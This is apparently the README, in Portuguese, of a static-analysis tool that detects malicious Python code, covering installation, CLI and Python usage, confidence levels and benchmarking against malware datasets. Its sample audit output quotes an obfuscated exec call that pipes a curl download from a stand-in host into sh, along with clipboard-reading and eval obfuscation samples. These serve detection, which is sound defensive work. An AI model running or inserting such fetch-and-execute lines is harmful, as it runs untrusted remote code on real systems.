hexora

Hexora é uma ferramenta de análise estática projetada para detectar padrões maliciosos e prejudiciais em código Python. Ela combina um motor de análise estática baseado em regras com um modelo de aprendizado de máquina que pontua arquivos-fonte inteiros para classificá-los como maliciosos ou benignos.

Pode ser usada para:

• Auditar dependências de projetos para capturar potenciais ataques à cadeia de suprimentos
• Detectar scripts maliciosos encontrados em plataformas como Pastebin, GitHub ou diretórios abertos
• Analisar arquivos de IoC de incidentes de segurança passados
• Auditar novos pacotes enviados ao PyPi.

Exemplos

Para exemplos de saída, consulte o arquivo docs/examples.md.

Instalação

Usando Python

Requer Python 3.9+.

pip install hexora

Usando uv:

uv tool install hexora

Uso

hexora --help

Auditar arquivo único

>  hexora audit test.py

warning[HX2000]: Reading from the clipboard can be used to exfiltrate sensitive data.
  ┌─ resources/test/test.py:3:8
  │
1 │ import pyperclip
2 │
3 │ data = pyperclip.paste()
  │        ^^^^^^^^^^^^^^^^^ HX2000
  │
  = Confidence: High
    Help: Clipboard access can be used to exfiltrate sensitive data such as passwords and keys.
    Machine learning based score for file: 0.93

warning[HX3000]: Possible execution of unwanted code
   ┌─ resources/test/test.py:20:1
   │
19 │ (_ceil, _random, Math,), Run, (Floor, _frame, _divide) = (exec, str, tuple), map, (ord, globals, eval)
20 │ _ceil("import subprocess;subprocess.call(['curl -fsSL https://example.com/b.sh | sh'])")
   │ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ HX3000
   │

Auditar diretório

hexora audit --output-format terminal resources/test/

Auditar pacotes de ambiente virtual

hexora audit --exclude HX5020,HX5030,HX5040,HX5050,HX5060 --min-confidence high .venv/lib/python3.11/site-packages/

Onde python3.11 é a versão do Python no ambiente virtual.

Dicas:

• Use --exclude para suprimir certos códigos de regra (por exemplo, importações ruidosas) para uma execução específica
• Use --min-confidence para focar apenas em descobertas de alta confiança.

Confiança indica o quão malicioso um determinado trecho de código é. Algumas bibliotecas ou trechos de código são usados para fins legítimos, e é difícil distinguir casos de uso legítimos dos maliciosos. É por isso que algumas correspondências têm um baixo nível de confiança.

Algumas regras podem ter diferentes níveis de confiança. Evite filtrar muitas regras por código a menos que tenha muita certeza. Por exemplo, execução de código e shell podem ter confiança média, alta e muito alta. Isso depende de como o código foi executado. Se detectarmos uma tentativa de ofuscação, elevamos a confiança.

Por exemplo, este código terá alta confiança:

globals()["__builtins__"].eval("print(123)")

Uso em Python

>>> import hexora
>>> results = hexora.audit_path("/Projects/hexora/resources/test/")
>>> len(results)
15
>>> results[0]
{'items': [{'confidence': 'low',
            'description': 'pyperclip can be used to copy and paste data from '
                           'the clipboard.',
            'label': 'pyperclip',
            'location': (7, 16),
            'rule': 'HX5010'},
           {'confidence': 'high',
            'description': 'Reading from the clipboard can be used to '
                           'exfiltrate sensitive data.',
            'label': 'pyperclip.paste',
            'location': (25, 42),
            'rule': 'HX2000'}],
 'path': '/Projects/hexora/resources/test/clipboard_01.py'}
>>> # Single file audit
>>> result = hexora.audit_file("/Projects/hexora/resources/test/clipboard_01.py")
>>> ...

Testando contra Conjunto de Dados Maliciosos

Ao desenvolver novas regras, você pode usar conjuntos de dados maliciosos existentes, como o malicious-software-packages-dataset.

Após clonar, aponte a ferramenta de benchmark para o diretório do conjunto de dados:

cargo run --release benchmark malicious-software-packages-dataset/samples/pypi/ --print-missing --exclude-path data/excluded.txt  --min-confidence high

Regras disponíveis

Novas regras são adicionadas regularmente.

No momento, as seguintes regras estão disponíveis:

Créditos

Para análise, usamos o analisador AST da biblioteca ruff.